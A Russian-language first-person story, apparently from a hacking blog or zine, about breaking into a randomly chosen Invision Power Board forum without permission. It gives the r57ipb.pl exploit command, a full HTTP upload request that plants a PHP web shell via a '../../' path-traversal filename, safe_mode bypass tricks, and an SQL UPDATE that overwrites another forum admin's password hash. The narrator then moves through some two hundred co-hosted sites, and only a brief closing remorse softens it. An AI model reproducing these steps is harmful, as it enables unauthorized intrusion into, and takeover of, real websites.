Одним жарким весенним днём я, как всегда, сидел в душной комнате и уставившись в монитор думал чем бы заняться. Я давно страдал Интернет-болезнью, когда автоматически входишь в Инет и не знаешь, что с ним делать. Также автоматически я зашёл в багтрэк, и с мыслью “Может RST нас чем-нибудь порадует” зашёл на их сайт. И вправду, RST выпустили новую версию легендарного шелла. Так как делать особо было нечего я решил потестить его на каком-нибудь ушастом сайте. Вбив в гугле “форум inurl:ru” я зашёл в первый попавшийся сайт с доменом второго уровня и форумом IPB (то, что это был Invision Power Board было видно из ссылки).
Запустил древний, но ещё очень даже актуальный сплоит r57ipb.pl от всё той же RST примерно так:
r57ipb.pl hack_this_forum.ru / 1 0
где
hack_this_forum.ru - сайт, на котором я хотел тестить шелл.
/ - папка с форумом
1 - id пользователя, чей пароль мог бы мне понадобиться
0 - версия ветки 1
Уже через несколько секунд сплоит вернул мне хэш админа. Испытывая сочувствие к своему процессору (день-то был довольно жаркий), я его пожалел и пошёл на http://passcracking.ru, где сразу же и выяснил, что зря жалел, так как пароль состоял из шести цифр. Я залогинился на форум, зашёл в админку, так… и где здесь “залить шелл”? А заливать шелл надо было через смайлики.
Первая попытка залить файл была безуспешной. Доступ на запись в папку /html/emotions/ был запрещён. Следовательно, надо было аплоудить в другую папку, например в /uploads/. Запустив программу со скромным названием InetCrack я стал составлять запрос. Пользовался я уже известным способом заливки шелла в IPB.
POST http://hack_this_forum.ru/admin.php?adsess=354a271346466c810bb70db3e129d17b HTTP/1.0
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*
Referer: http://hack_this_forum.ru/admin.php?adsess=354a271346466c810bb70db3e129d17b&act=op&code=emo
Accept-Language: ru
Content-Type: multipart/form-data; boundary=---------------------------7d43942c405bc
Proxy-Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 9.1)
Content-Length: 677
Pragma: no-cache
Cookie: member_id=1; pass_hash=ae75aa292903a0517b4c710b1e4a4955;
-----------------------------7d43942c405bc
Content-Disposition: form-data; name="adsess"
354a271346466c810bb70db3e129d17b
-----------------------------7d43942c405bc
Content-Disposition: form-data; name="code"
emo_upload
-----------------------------7d43942c405bc
Content-Disposition: form-data; name="act"
op
-----------------------------7d43942c405bc
Content-Disposition: form-data; name="MAX_FILE_SIZE"
20000000000
-----------------------------7d43942c405bc
Content-Disposition: form-data; name="FILE_UPLOAD"; filename="../../uploads/view_uploads.php"
Content-Type: application/octet-stream
<? echo "Add your shell here."; ?>
-----------------------------7d43942c405bc--
Обратившись теперь http://www.hack_this_forum.ru/uploads/view_uploads.php я увидел знакомый r57shell. То, что на сервере php работает в безопасном режиме, я даже и не сомневался. Зато я мог просматривать файлы функциями обхода ограничений imap_list, imap_body. Просмотрев конфиги форума я нашёл MySQL-ный аккуант, и обратился к базе запросом :
SHOW DATABASES
На сервере было порядка двухсот баз, но у моего юзера был доступ только к своей. Я опять обратился к шеллу и решил подняться из своей директории повыше. Здесь, в папке /home/hosts/, и лежали все сайты: от страниц Васи Пупкина, до сайтов правительственных организаций. Я просмотрел многие из них, но не нашёл ничего интересного, кроме рутового пароля к MySQL на одном более менее крупном хосте. Однако в папку с главным сайтом меня не пускали. Зайдя на главную страницу сайта я увидел ссылку на форум. И этот форум был всё тот же IPB, причем версии 1.3. Но эти админы были немного умнее и версия была с заплаткой. "Зачем использовать
SQL-инъекцию в форуме если у меня имеется рутовый доступ к MySQL? :)" — подумал я и обратился к главной базе с запросом:
UPDATE ibf_members SET password='202CB962AC59075B964B07152D234B70' WHERRE id='1'
Войдя в админку я по быстрому залил шелл вышеописанным способом. Каково было моё удивление, когда я увидел, что safe_mode в этой папке был отключен. Я уже хотел было вставить свой текст во все найденные командой find файлы index.php, но... что-то меня остановило. Я подумал, что взламывать безобидные сайты, принося вред их администраторам и Web-мастерам, не пойдет на пользу ни мне, ни кому-либо другому — дело это гадкое и бесполезное. Я поменял хэш админа на тот, который был и отправил ему письмо. Хотя админы наградили меня только "спасибом" , я был рад, что сделал что-то полезное вместо того, чтобы напакостить.